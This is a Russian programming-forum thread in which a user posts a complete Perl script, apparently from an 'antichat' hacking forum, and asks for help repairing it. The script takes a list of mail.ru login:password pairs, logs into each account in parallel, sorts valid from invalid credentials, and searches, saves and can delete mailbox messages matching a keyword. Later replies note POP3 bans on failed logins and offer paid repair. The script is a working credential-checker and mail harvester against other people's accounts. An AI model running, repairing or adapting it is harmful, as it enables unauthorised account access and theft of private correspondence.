Модераторы: PILOT
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Не работает парсер писем 
:(
    Опции темы
Affterday
Дата 9.10.2014, 06:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 6
Регистрация: 8.10.2014

Репутация: нет
Всего: нет



Есть вот такой парсер ящиков
Код


#!/usr/bin/perl
 
################# By Fepsis for forum.antichat.ru #################
 
use threads;
use threads::shared;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use HTML::Entities;
 
 
################# Config ###############
 
my $t = 1;          # число потоков
my $modCheckAcc = 0;        # если = 1 - сохраняет валидные в good.txt, не валидные в bad.txt
my $modCheckMess = 1;       # если = 1 - ищет в ящике письма, соответствующие запросу $query, если = 0, то нижеперечисленные функции не будут работать
 
     my $query = 'avito';   # запрос для поиска
 
          my $formatTxt = 0;            # если = 1 - переводит письма в текст (удаляет html теги)
          my $modSaveMess = 1;      # если = 1 - сохраняет найденные письма в папку 'mails'
          my $modDelMess = 0;       # если = 1 - удаляет найденные письма
          my $modSearch = 0;            # если = 1 - ищет в найденных письмах соответствия регулярке $pattern, результат сохраняет в 'SearchResults.txt'
 
               my $pattern = qr/Пользователь (.+?) написал вам сообщение/;      # эта регулярка вытащит "%username%" из строк "Пользователь %username% написал вам сообщение"
 
############### End Config ##############
 
 
my @bas : shared;
my @threads;
 
my $fileBad = 'bad.txt';
my $fileGood = 'good.txt';
my $srchRes = 'SearchResults.txt';
my $mailsDir = 'mails';
my $br = '<br>';
my $type = '.htm';
 
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);
 
open(BASE, 'base.txt');
chomp(@bas = <BASE>);
close(BASE);
 
 
sub logg
     {
    my ($data, $file) = @_;
    open(OUT, ">> ".$file);
    print OUT "$data\n";
    close(OUT);
     }
 
sub arbyte
     {
    my ($i) = @_;
 
    while(my $acc = shift(@bas))
         {
        print 'Thread #'.$i.': '.$acc."\n";
        my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?):(.+?)$/;
 
        if (authorization($login, $domain, $pass))
             {
            if ($modCheckAcc == 1)
                 {
                logg($acc, $fileGood);
                 }
 
            if ($modCheckMess == 1)
                 {
                check_mess($query, $login, $domain, $pass);
                 }
             }
 
        else
             {
            if($modCheckAcc == 1) {logg($acc, $fileBad);}
             }
         }
 
 
     }
 
 
 
sub authorization
     {
    my ($login, $domain, $pass) = @_;
 
    $cookie_jar->clear();
 
    my $ex = $ua->request(POST 'http://win.mail.ru/cgi-bin/auth', ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]);
    if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/)
         {
        return 1;
         }
     }
 
 
sub check_mess
     {
    my ($query, $login, $domain, $pass) = @_;
 
 
    my ($ex, @messages, @tmpMess);
 
    my $j = 1;
    while (1)
         {
        $ex = $ua->request(GET 'http://e.mail.ru/cgi-bin/gosearch?q_query='.$query.'&page='.$j);
 
 
 
 
        if (my @tmpMess = $ex->content() =~ /type=\"checkbox\" name=\"id\" value=\"(.+?)\" \/><\/td>/g)
             {
            push(@messages, @tmpMess);
            $j++;
             }
 
        else {last;}
         }
 
 
    foreach (@messages)
         {
        $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/readmsg?id='.$_);
        my ($mess) = $ex->content() =~ /<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>(.+?)<base href=\"http:\/\/e\.mail\.ru\/cgi-bin\/\" \/>/s;
 
        if ($formatTxt == 1)
             {
            $mess =~ s/<.+?>/ /g;
            $mess =~ s/\s+/ /g;
            decode_entities($mess);
            $br = "\n";
            $type = '.txt';
             }
 
        if ($modSearch == 1)
             {
            if ($mess =~ /$pattern/)
                 {
                $res = $1;
                logg($login.'@'.$domain.':'.$pass.' => '.$res, $srchRes);
                 }
             }
 
        if ($modSaveMess == 1)
             {
            logg('### begin ###'.$br.$mess.$br.'### end ###'.$br.$br, $mailsDir.'/'.$login.'#'.$domain.$type);
             }
            if ($modDelMess == 1)
             {
            $ex = $ua->request(GET 'http://win.mail.ru/cgi-bin/movemsg?remove&id='.$_);
             }
         }
     }
 
 
 
for my $i (1..$t)
     {
    push @threads, threads->create(\&arbyte, $i);
     }
 
 
foreach my $thread (@threads)
     {
    $thread->join();
     }    

Помогите пожалуйста наладить его работу, чтобы он находил и складывал в папку "mails" письма ,содержащие контрольное слово (в примере "avito")
По уверению автора, изначально скрипт работал, но видимо, что то поменялось на mail.ru и парсить содержимое писем он перестал, хотя проверка на валидность работает отлично (проверял).


PM MAIL   Вверх
arto
Дата 9.10.2014, 08:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1495
Регистрация: 31.10.2004

Репутация: нет
Всего: 40



формат вывода поменялся, надо заново писать парсер.
PM MAIL ICQ   Вверх
Affterday
Дата 9.10.2014, 10:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 6
Регистрация: 8.10.2014

Репутация: нет
Всего: нет



Я в перле никак.. А что за формат вывода? И почему заново, может быть этот подправить ? Помогите.... 
PM MAIL   Вверх
arto
Дата 9.10.2014, 10:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1495
Регистрация: 31.10.2004

Репутация: нет
Всего: 40



поменялся html, теперь поиск не находит писем, которые попадают под условия поиска.
заново, потому как поменялось много чего, если я правильно понимаю.
обратитесь к автору, либо наймите человека, который за вас это сделате.
PM MAIL ICQ   Вверх
noize
Дата 9.10.2014, 11:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


5.18.2
*


Профиль
Группа: Участник
Сообщений: 89
Регистрация: 10.7.2010
Где: СПб

Репутация: нет
Всего: 3



если это парсер электронной почты с mail.ru, то проще написать коннектор IMAP/POP3 к их сервису и забирать письма через стандартный протокол.
PM MAIL   Вверх
Affterday
Дата 9.10.2014, 12:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 6
Регистрация: 8.10.2014

Репутация: нет
Всего: нет



Цитата(arto @ 9.10.2014,  10:58)
поменялся html, теперь поиск не находит писем, которые попадают под условия поиска.
заново, потому как поменялось много чего, если я правильно понимаю.
обратитесь к автору, либо наймите человека, который за вас это сделате.

А сколько это может стоить , хотя бы ориентировочно ?
PM MAIL   Вверх
arto
Дата 9.10.2014, 14:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1495
Регистрация: 31.10.2004

Репутация: нет
Всего: 40



зависит от человека.

вам подсказали правильно, через Mail::POP3Client будет гораздо проще.
PM MAIL ICQ   Вверх
Affterday
Дата 9.10.2014, 14:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 6
Регистрация: 8.10.2014

Репутация: нет
Всего: нет



Цитата(arto @ 9.10.2014,  14:20)
зависит от человека.

вам подсказали правильно, через Mail::POP3Client будет гораздо проще.

Автор вот что пишет по этому поводу
"При нескольких попытках авторизации с неверными данными по pop3 протоколу получаешь временный бан.. С веб интерфейсом такого не наблюдалось..." 

Это сообщение отредактировал(а) Affterday - 9.10.2014, 14:35
PM MAIL   Вверх
arto
Дата 9.10.2014, 14:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1495
Регистрация: 31.10.2004

Репутация: нет
Всего: 40



а что, у вас в base.txt лежат неверные пары login:password ???
или вы перебором занимаетесь?
PM MAIL ICQ   Вверх
Affterday
Дата 9.10.2014, 15:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 6
Регистрация: 8.10.2014

Репутация: нет
Всего: нет



Цитата(arto @ 9.10.2014,  14:38)
а что, у вас в base.txt лежат неверные пары login:password ???
или вы перебором занимаетесь?

Да нет, пары все верные.. Вы уж меня не бейте палками ), я своими силами все равно ничего не сделаю. Может закажу кому ниубдь, только вот кому... Ну и вопрос о цене остался актуальным. Понятно, что это стоит денег, только каких. Если давать задание , то хотя бы знать на что рассчитывать ). 100 рублей или 10000 - разница есть.
PM MAIL   Вверх
noize
Дата 9.10.2014, 16:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


5.18.2
*


Профиль
Группа: Участник
Сообщений: 89
Регистрация: 10.7.2010
Где: СПб

Репутация: нет
Всего: 3



Affterday, пишите в личку, договоримся
PM MAIL   Вверх
Affterday
Дата 10.10.2014, 08:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 6
Регистрация: 8.10.2014

Репутация: нет
Всего: нет



Цитата(noize @ 9.10.2014,  16:50)
Affterday, пишите в личку, договоримся

Написалв рм
PM MAIL   Вверх
korob2001
Дата 21.11.2014, 11:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2871
Регистрация: 29.12.2002

Репутация: нет
Всего: 61



Модератор: Тема переехала из раздела Perl - общие вопросы


--------------------
"Время проходит", - привыкли говорить вы по неверному пониманию. 
"Время стоит - проходите вы".
PM MAIL WWW ICQ MSN   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Объявления о найме специалистов"
BearBeer
  • Придерживайтесь правил форума.

  • Если вы предлагаете НЕ удалённую работу, то

    название города и фирмы обязательно указывать уже в названии темы(!)

  • Одна вакансия - одна тема.

    Вам будет удобней следить за ответами, ищущим работу - выбирать.


  • В случае, если у нас возникнут обоснованные подозрения

    о неблагонадежности Вашего электронного адреса, ваш аккаунт будет удалён, а доступ к форуму запрещён!


  • Хотите быстрее найти специалиста? Разместите тогда ваше объявление вверху всех страниц сайта! Тогда его будут ежедневно видеть более 4000 программистов! Обратите внимание на верхний левый угол сайта - там вы найдете дополнительные инструкции при клике на линк.

В случае невыполнения данных правил Ваши сообщения могут быть удалены без предупреждения.


Полный спискок правил. С уважением, BearBeer.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Объявления о найме специалистов | Следующая тема »


 




[ Время генерации скрипта: 0.0689 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.